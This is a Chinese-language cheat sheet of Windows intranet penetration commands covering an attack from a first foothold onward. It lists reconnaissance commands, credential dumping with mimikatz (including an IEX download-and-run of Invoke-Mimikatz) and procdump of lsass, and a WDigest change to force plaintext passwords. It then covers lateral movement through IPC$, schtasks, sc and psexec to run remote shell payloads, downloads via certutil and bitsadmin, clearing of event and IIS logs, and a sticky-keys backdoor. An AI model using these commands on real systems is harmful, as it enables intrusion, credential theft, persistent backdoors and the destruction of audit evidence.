本文只是作為知識整理,盡可能的收集一些常用的內網指令。本人原伸手黨一枚,希望這些內容對新人有用,大牛可
自行忽略。
0x00 內網信息收集
一、單機基礎信息收集
如果是獲得第一台初始主機的權限的話,我們需要盡可能的多收集當前機器的的信息,包括主機是在域還是在工作組
中、主機所在的內網網段的信息、主機當前的已經運行(和已經安裝)的防護軟件和監控軟件、主機當前的一些活躍
連接、主機上的一些用戶信息(若高權限,可以拿到本機的 lsass 進程中的明文密碼和本機保存的本地憑證)、域
中主機還可以收集更多的域信息(包括但不限於:定位域控,尋找時間服務器,尋找DNS服務器,尋找郵件服務器
等)、盡可能多的尋找本主機中密碼相關的文本和配置文件,等多種操作。
1-基礎命令
1 whoami /all 查當前用戶在目標系統中的具體權限,這可能會成為你習慣性動作 2 query user | quser 查當前機器中正在線的用戶,注意管理員此時在不在 3 hostname 查當前機器的機器名,知道當前機器是干啥的 4 net user 查當前機器中所有的用戶名,開始搜集准備用戶名字典 5 net localgroup 查當前機器中所有的組名,了解不同組的職能,如,IT,HR,admin,file 6 net localgroup "Administrators" 查指定組中的成員列表
2-查看本機ip配置
ipconfig /all 查看本機ip配置,觀察本機是否在域內,內網段有幾個,網關在哪里
ipconfig /displaydns 查看本地DNS緩存
3-查看當前機器中所有的網絡連接
net start 查看本機運行的所有服務 netstat -ano 查看本機所有的tcp,udp端口連接及其對應的pid netstat -anob 查看本機所有的tcp,udp端口連接,pid及其對應的發起程序 netstat -ano | findstr "ESTABLISHED" 查看當前正處於連接狀態的端口及ip netstat -ano | findstr "LISTENING" 查看當前正處於監聽狀態的端口及ip netstat -ano | findstr "TIME_WAIT" 查看當前正處於等待狀態的端口及ip
4-查看本機的路由情況
route print 打印本機路由信息,可以看到本機所有的網卡接口 arp -a 查找有價值的內網arp通信記錄 netsh int ip delete arpcache 刪除當前機器的arp緩存 tracert 8.8.8.8 跟蹤本機出口ip
5-查看當前機器自身的配置信息
systeminfo 查看本機的詳細配置信息 systeminfo /S 192.168.1.101 /U testlab\test /P "test" 查看遠程機器的系統配置 systeminfo>temp.txt&(for %i in (KB2271195 KB2124261 KB2160329 KB2621440 KB2707511 KB2829361 KB2864063 KB3000061 KB3045171 KB3036220 KB3077657 KB3079904 KB3134228 KB3124280 KB3199135) do @type temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt 檢測輸出結果,快速找到未安裝的可導致提權的補丁,KB號自行修改 set 查看當前機器的環境變量配置,看有沒有我們可以直接利用到的語言環境 ver 查看當前機器的NT內核版本,不彈窗 winver 查看當前機器的NT內核版本,彈窗,在非圖形界面不執行這個命令 fsutil fsinfo drives 列出當前機器上的所有盤符 net share 查看當前機器開啟的共享 driverquery 查看當前機器安裝的驅動列表 net share public_dir="c:\public" /grant:Everyone,Full 設置共享
6-在指定目錄下搜集各類敏感文件
dir /a /s /b d:\"*.txt" dir /a /s /b d:\"*.xml" dir /a /s /b d:\"*.mdb" dir /a /s /b d:\"*.sql" dir /a /s /b d:\"*.mdf" dir /a /s /b d:\"*.eml" dir /a /s /b d:\"*.pst" dir /a /s /b d:\"*conf*" dir /a /s /b d:\"*bak*" dir /a /s /b d:\"*pwd*" dir /a /s /b d:\"*pass*" dir /a /s /b d:\"*login*" dir /a /s /b d:\"*user*"
7-在指定目錄下的文件中搜集各種賬號密碼
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
8-查看,刪除 指定文件
type c:\windows\temp\admin_pass.bak 查看某個文件內容 del d:\ad\*.* /a /s /q /f 強制刪除指定路徑下的所有文件 tree /F /A D:\ >> file_list.txt 導出指定路徑下的文件目錄結構 rd /q/s c:\windows\temp\test 刪除文件夾
9-查看當前機器的進程信息
tasklist /svc 顯示當前機器所有的進程所對應的服務 [只限於當前用戶有權限看到的進程] tasklist /m 顯示本地所有進程所調用的dll [同樣只限於當前用戶有權限看到的進程] tasklist /v 尋找進程中有無 域管啟用的進程 或者 殺軟進程 taskkill /F /im calc.exe 用指定進程名的方式強行結束指定進程
10-查詢當前機器已安裝的補丁
wmic qfe get description,installedOn,HotFixID,InstalledBy wmic qfe get CSName,Description,hotfixid
11-查詢當前機器自啟動程序有哪些
wmic startup list full
wmic STARTUP GET Caption,Command,User
12-查詢當前機器所安裝的所有軟件名
wmic product get name /value wmic product get name,version
13-查詢本機所有的盤符及剩余空間
wmic logicaldisk get description,name,size,freespace /value wmic logicaldisk where drivetype=3 get name,freespace,systemname,filesystem
14-查詢當前機器的簡要配置信息
wmic computersystem list brief /format:lists
15-查詢當前機器的操作系統位數
wmic cpu get DataWidth /format:list
16-查詢當前機器的用戶及組信息
wmic useraccount list brief /format:list wmic group list brief /format:list wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
17-查詢當前機器所有用戶的詳細信息
wmic useraccount list brief
18-查詢當前機器所有服務的詳細狀態
wmic service list brief
19-查詢指定域的域管有哪些
wmic /node:rootkit path win32_groupuser where (groupcomponent="win32_group.name=\"test\",domain=\"labtest\"")
20-查看誰登陸過指定機器,適合用來找域管進程
wmic /node:192.168.1.100 path win32_loggedonuser get antecedent
21-查詢本機共享
wmic share get name,path,status
22-查詢機器的殺軟
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
二、域信息收集
很多時候我們需要了解內網中的網絡拓撲和網絡架構才能更好地開展下一步的行動。下面給出的一些命令有些命令只
能在域控中執行(會注明),使用的工具可能是有一部分是需要自行上傳,其余的都是系統自帶的命令。永遠記住,
信息收集的時候盡可能不要造成大的內網噪音。
1-net組件搜集域內信息
net user /domain 查看當前域中的所有用戶名,根據用戶名總數大概判斷域的規模 net user labadmin /domain 查看指定用戶在當前域中的詳細屬性信息 net view 查看當前域中在線的機器有哪些,但這樣看着不太直觀,沒有對應的IP net view /domain 查看所有的域名稱 net view /domain:labtest 查看指定域中在線的計算機列表 net time /domain 查看時間服務器,一般域控會做時間服務器 net accounts /domain 查看當前域的域內賬戶密碼設置策略 net config workstation 看看當前的登錄域 ----------------以下命令在高版本系統(2012及以后)中會提示只能域控中執行---------------------- net group /domain 查看當前域中的所有組名 net group "domain admins" /domain 查看當前域中的域管賬戶 net group "domain computers" /domain 查看當前域中的所有的計算機名(登錄過該域的計算機) net group "domain controllers" /domain 查看域控
2-更多指令收集域內信息
## DC上運行的命令 nltest /domain_trusts 查看域內信任關系 dnscmd /zoneexport lab.com dns.txt 導出域內DNS信息,文件在C:\Windows\system32\dns\dns.txt ## 更多收集命令 nslookup -q=mx labtest.com 查看域內郵件服務器 nslookup -q=ns labtest.com 查看域內DNS服務器 netdom query pdc 查看域內的主域控,僅限win2008及之后的系統
3-批量把net view的結果轉換為ip,保存bat文件,然后執行
@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )
4-批量把文件中的主機名獲取IP
這個是基於上方bat文件的拓展,如果你用其他方式獲得了更多主機名,可以使用以下bat文件,t.txt為保存主機名的
文件,h.txt為結果文件(主機名和對應IP都有呈現)
@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq delims=" %%j IN (c:\windows\temp\t.txt) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j >>c:\windows\temp\h.txt) ) )
5-利用dsquery 工具搜集域內信息,域成員機器需要自己傳上去
dsquery computer 查看當前域內的所有機器,dsquery工具一般在域控上才有,不過你可以上傳一個dsquery dsquery user 查看當前域中的所有賬戶名 dsquery group 查看當前域內的所有組名 dsquery subnet 查看到當前域所在的網段,結合nbtscan使用 dsquery site 查看域內所有的web站點 dsquery server 查看當前域中的服務器(一般結果只有域控的主機名) dsquery user domainroot -name admin* -limit 240 查詢前240個以admin開頭的用戶名
6-csvde導出域信息
如果你有一個當前有效的域用戶賬戶及密碼 csvde.exe –f c:\windows\temp\e.csv –n –s 192.168.1.100(DC的IP) –b 域用戶名 域名 域用戶密碼 如果你可以使用域成員主機的system權限 或者 當前就在DC上 csvde.exe –f c:\windows\temp\e.csv –n –s 192.168.1.100(DC的IP)
7-Powerview.ps1的一些使用
PowerView是PowerShell腳本,屬於 PowerSploit 框架和 Empire 的一部分。該腳本完全依賴於 PowerShell 和
WMI 查詢。腳本所在的地址:項目
因為絕大多數情況下,我們在目標中執行 powershell 腳本都是使用 msf 、CS 、Empire 等攻擊框架直接加載
powershell腳本到目標機器中。我這里給出 MSF 的指令作為參考,讀者可以自行引申 (更多指令查閱:地址):
msf:> load powershell msf:> powershell_import /root/Desktop/PowerView.ps1 msf:> powershell_execute Get-NetDomain 獲得當前域用戶所在的域的名稱 msf:> powershell_execute Get-Netuser 獲得當前域中的所有用戶對象 .....
8-Bloodhound/Sharphound工具的使用
BloodHound以用圖與線的形式,將域內用戶、計算機、組、Sessions、ACLs以及域內所有相關用戶、組、計算機、
登陸信息、訪問控制策略之間的關系更直觀的展現在Red Team面前進行更便捷的分析域內情況,更快速的在域內提
升自己的權限。它也可以使Blue Team成員對己方網絡系統進行更好的安全檢測及保證域的安全性。
這里直接介紹需要在內網機器中執行的相關命令,至於工具的詳細使用,可以參考下面的鏈接:
官方wiki freebuf的介紹
此工具的導出相對來說比較暴力(內網噪音比較多),且目前此工具 exe 原版已經被識別並被各種殺軟查殺,包括微
軟win10自帶的殺軟 Windows Defender 。
在目標系統上運行 Bloodhound / Sharphound: 運行 PowerShell,然后導入 Bloodhound.ps1 或者
SharpHound.ps1:
Invoke-Bloodhound -CollectionMethod Default Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV - NoSaveCache
運行可執行文件:
SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group
一旦運行完成了 Bloundhound / Sharphound,將會有四個文件(csv文件 或者 json文件)將被保存到受害者機器
上。下載這些文件到本地,然后本地自行使用相關程序進行查閱。
9-用戶命令相關拓展
net user username password /add 添加一個username的用戶,密碼password net localgroup administrators username /add 將username用戶添加到本地管理員組 net user username password /add /domain 添加一個username的域用戶,密碼password net group "domain admins" username /add /domain 將username域用戶添加到域管理員組 runas /user:administrator "net localgroup administrators domain.com/uasername /add" 將域用戶 username 添加到本地管理員組
0x01 內網橫向移動
橫向移動的時候,我們需要使用的工具包括系統自帶和一些需要自行上傳的程序(這里不討論免殺的問題,只說用
法)。為了更好的降低操作的噪音,我們的操作推薦還是盡可能的多使用powershell腳本。
一、當前主機密碼提取(需要高權限)
1-注冊表導出本地主機所有賬戶的哈希
導出這些數據后,本地可以使用 cain 程序來查閱這些文件
當然,你也可以使用 Get-PassHashes.ps1(nishang項目中的腳本,地址)導出
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
2-lsass進程中的憑證導出
這里介紹的兩個工具 mimikatz (項目地址)和 procdump (下載地址) 都不是系統自帶,需要本地上傳,
mimikatz需要進行免殺,procdump是微軟發布的工具。
## mimikatz直接導出 -----exe版本------ mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >>c:\windows\temp\test.txt -----powershell版本--------- powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit /master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz ## procdump 導出 + mimikatz本地解析 目標機器: Procdump.exe -accepteula -ma lsass.exe lsass.dmp 本地機器(需要和目標機器的系統一致,目標是win08的64位,本地也是需要對應的win08的64位): sekurlsa::minidump lsass.dump.dmp sekurlsa::logonpasswords full
3-高版本系統中密碼導出為空的處理
從Windows server 2012開始,默認情況下不保存明文,修改注冊表,並等待管理員重新登錄,才能獲得明文。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
在 Cobalt Strike 或者 MSF 等滲透攻擊框架中,我們可以通過 shell 命令運行:
shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
要主機的用戶重新登錄到系統,可以讓目標機器屏幕鎖屏、重新啟動或注銷用戶,以便你能夠抓取到明文。最簡單的
方法是鎖定他們的工作機器,要觸發鎖屏:
rundll32.exe user32.dll LockWorkStation
二、掃描存活
1-初步內網存活探測 [ 單基於icmp的掃描 ]
for /L %a in (1,1,254) DO @ping -n 1 192.168.1.%a | findstr "TTL" >> pinglog.txt
2-搜集當前內網中的dns信息
for /L %a in (1,1,254) DO @nslookup 192.168.1.%a | find "Name:" >> dnslog.txt
三、連接主機 & 命令執行
1-傳統IPC連接
net use \\192.168.1.101\ipc$ /u:"" "" 先空連接探測 net use 查看當前機器中的ipc連接有哪些 net use \\192.168.1.101\admin$ /user:"admin" "admin" 建立真正的ipc net use \\192.168.1.101\admin$ /del /y 指定刪除自己建立的IPC net use * /del /y 刪除所有ipc
2-ipc建立成功后的 文件操作
第一種方式[磁盤映射]: net use z: \\192.168.3.122\c$ 把對方的c盤映射過來,當做本地盤 net use z: /del /y 用完以后,務必立馬刪除映射 第二種方式[推薦用xcopy]: xcopy d:\sqlitedata\*.* \\192.168.1.101\c$\temp /E /Y /D 也可在建立ipc后直接遠程拷貝,copy和move都可以使用 copy c:\windows\temp\*.exe \\192.168.1.101\c$\windows\temp\*.exe 復制 move c:\windows\temp\*.exe \\192.168.1.101\c$\windows\temp\*.exe 剪切
3-IPC建立成功后的 SC操作
SC創建服務添加的常規程序需要有返回值,不然啟動服務時會報1053錯誤
sc \\192.168.1.101 create shellsrv binpath= "c:\shell.exe" start= auto displayname= "shellstart" sc \\192.168.1.101 create test binpath= "c:\windows\temp\test.bat" start= auto displayname= "shellstart" sc \\192.168.1.101 start shllsrv sc \\192.168.1.101 stop shllsrv sc \\192.168.1.101 delete shellsrv
4-IPC建立成功之后的 計划任務操作
計划任務有兩個指令: at 和 schtasks
at 只支持win 03和部分老版本win08,一般情況下,win08-SP1的系統是能添加 at 計划任務,但不一定執行,
推薦win08及之后的系統都選擇 schtasks 創建計划任務
net use \\192.168.1.101\admin$ "admin" /user:"AD\administrator" 建立IPC連接 net time \\192.168.1.101 查看目標機器當前時間 schtasks /create /? 查看schtasks使用幫助 chcp 437 當前機器是中文系統需要先修改下cmd字符集,以防schtasks遠程創建計划任務時會報錯 chcp 52936 用完以后再把字符集改回來,如果是英文系統就不會有這種問題 schtasks /create /s 192.168.1.101 /u "AD\administrator" /p "admin" /TN "shellexec" /SC DAILY /ST 11:18 /F /RL HIGHEST /SD 2017/11/13 /ED 2017/11/16 /TR "C:\shell.exe" schtasks /query /s 192.168.1.101 /u "AD\administrator" /p "admin" | findstr "shell" schtasks /delete /s 192.168.1.101 /u "AD\administrator" /p "admin" /TN "shellexec" at \\192.168.1.101 14:05 cmd /c "c:\windows\temp\test.bat" 03系統使用,需先IPC連接 --------------------給出DOS字符集代號-------------------------- 代碼頁 國家(地區)或語言 437 英文(美國) 708 阿拉伯文(ASMO 708) 720 阿拉伯文(DOS) 850 多語言(拉丁文 I) 5-PsTools套件的使用 852 中歐(DOS) - 斯拉夫語(拉丁文 II) 855 西里爾文(俄語) 857 土耳其語 860 葡萄牙語 861 冰島語 862 希伯來文(DOS) 863 加拿大 - 法語 865 日耳曼語 866 俄語 - 西里爾文(DOS) 869 現代希臘語 874 泰文(Windows) 932 日文(Shift-JIS) 936 中國 - 簡體中文(GB2312) 949 韓文 950 繁體中文(Big5) 1200 Unicode 1201 Unicode (Big-Endian) 1250 中歐(Windows) 1251 西里爾文(Windows) 1252 西歐(Windows) 1253 希臘文(Windows) 1254 土耳其文(Windows) 1255 希伯來文(Windows) 1256 阿拉伯文(Windows) 1257 波羅的海文(Windows) 1258 越南文(Windows) 20866 西里爾文(KOI8-R) 21866 西里爾文(KOI8-U) 28592 中歐(ISO) 28593 拉丁文 3 (ISO) 28594 波羅的海文(ISO) 28595 西里爾文(ISO) 28596 阿拉伯文(ISO) 28597 希臘文(ISO) 28598 希伯來文(ISO-Visual) 38598 希伯來文(ISO-Logical) 50000 用戶定義的 50001 自動選擇 50220 日文(JIS) 50221 日文(JIS-允許一個字節的片假名) 50222 日文(JIS-允許一個字節的片假名 - SO/SI) 50225 韓文(ISO) 50932 日文(自動選擇) 50949 韓文(自動選擇) 51932 日文(EUC) 51949 韓文(EUC) 52936 簡體中文(HZ) 65000 Unicode (UTF-7) 65001 Unicode (UTF-8)
5-PsTools套件的使用
PsTools套件(下載地址)是微軟收購的安全公司(Sysinternals)的一些產品,目前被微軟系統信任,而其中
的psexec在橫向移動中經常使用,psexec連接之后彈回來的一般都是交互式的shell。
psexec.exe /accepteula \\192.168.1.101 -u AD\administrator -p "admin" -s -c -f "cmd.exe" 彈回一個 system 權限的cmdshell psexec.exe /accepteula \\192.168.1.101 -u AD\administrator -p lm:ntlm -s -c -f "cmd.exe" 適合03以下的系統,不確定新版的psexec依舊支持ntlm
其實更多的連接方式還有 wmiexec和smbexec, 兩者都可在github社區中找到,比較簡單的就是在 impacket 工具
包找到相關文件(項目地址),使用方法自行查閱幫助文檔,這里不再贅述
三、通過命令行下載文件
1-powershell (win2003、winXP不支持)
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.101/test.txt','c:\test.txt')
2-Certutil
參考鏈接:微軟官方介紹
certutil.exe -urlcache -split -f http://192.168.1.1/test.txt file.txt
3-bitadmin
參考鏈接:微軟官方介紹
bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
4-msiexec
msiexec /q /i http://192.168.1.1/test.txt
5-IEExec
C:\Windows\Microsoft.NET\Framework\v2.0.50727> caspol -s off C:\Windows\Microsoft.NET\Framework\v2.0.50727> IEExec.exe http://192.168.1.1/test.exe
0x02 痕跡擦除及持久化
完成一些操作之后,一定要做的就是清除自身的痕跡了,這里給出一點點比較基礎的清理痕跡的命令,其實是更高級
的操作我暫時沒學會呀,比如暫停日志記錄啥的。
1-清除系統日志命令1(win03 系統可用)
wmic nteventlog where filename=’appevent’ cleareventlog 清除應用程序日志 wmic nteventlog where filename=’secevent’ cleareventlog 清除安全日志 wmic nteventlog where filename=’sysevent’ cleareventlog 清除系統日志
2-清除系統日志命令2(win08及之后的系統使用)
wevtutil cl security 清除安全日志
wevtutil cl system 清除系統日志
wevtutil cl application 清除應用程序日志
3-清理IIS日志和多次擦除文件
清理文件我們還是盡量多擦除幾次,使用微軟發布的SDelete工具(下載地址)
IIS6 的日志目錄:C:\Windows\System32\LogFiles IIS7、IIS8、IIS10日志目錄:C:\inetpub\logs\LogFiles 想要清理IIS的日志,命令操作大致如下: net stop w3svc sdelete.exe -accepteula -p 3 C:\Windows\System32\LogFiles\W3SVC1\*.* net start w3svc ------------------sdelete 用法------------------ sdelete.exe -accepteula -s c:\windows\temp\test\ 刪除c:\windows\temp\test\文件夾中所有 sdelete.exe -accepteula -p 5 c:\windows\temp\test\*.exe 將文件夾中exe刪除,並覆蓋5次
4-修改注冊表實現shift后門(需要高權限)
shift后門的老方法是使用cmd替換文件,現在直接使用注冊表進行配置。
REG ADD "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution ptions\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0
可能需要運行以下命令進行額外的配置。
## 修改防火牆設置為允許遠程桌面 netsh advfirewall firewall set rule group="remote desktop" new enable=Yes ## 允許遠程桌面連接 REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
以上命令完整的走一遍,個人以 wmic 為演示, wmic 是現在內網無文件比較好的一個方法。
wmic /user:[UserName] /password:[Password] /node:[Server] process call create "C:\Windows\system32\reg.exe ADD \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\" /v Debugger /t REG_SZ /d \"C:\windows\system32\cmd.exe\" /f" wmic /user:[UserName] /password:[Password] /node:[Server] process call create "C:\Windows\system32\reg.exe ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp\" /v UserAuthentication /t REG_DWORD /d 0 /f" wmic /user:[UserName] /password:[Password] /node:[Server] process call create "C:\Windows\system32\reg.exe ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Temiinal Server\WinStations\RDPTcp\" /v SecurityLayer /t REG—DWORD /d O /f"
可選命令
## 修改防火牆設置為允許遠程桌面 wmic /user:[UserName] /password:[Password] /node:[Server] process call create "C:\Windows\system32\netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes" ## 允許遠程桌面連接 wmic /user:[UserName] /password:[Password] /node:[Server] process call create "C:\Windows\system32\reg.exe ADD \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f"
拓展命令
## 查詢rdp的端口,注意把默認的十六進制轉換成十進制 reg query "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber ## 禁用遠程桌面連接 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f ## 利用powershell啟用禁用rdp: C:\>powershell -exec bypass PS C:\> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'- name "fDenyTSConnections" -Value 0 PS C:\> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'- name "fDenyTSConnections" -Value 1
:)
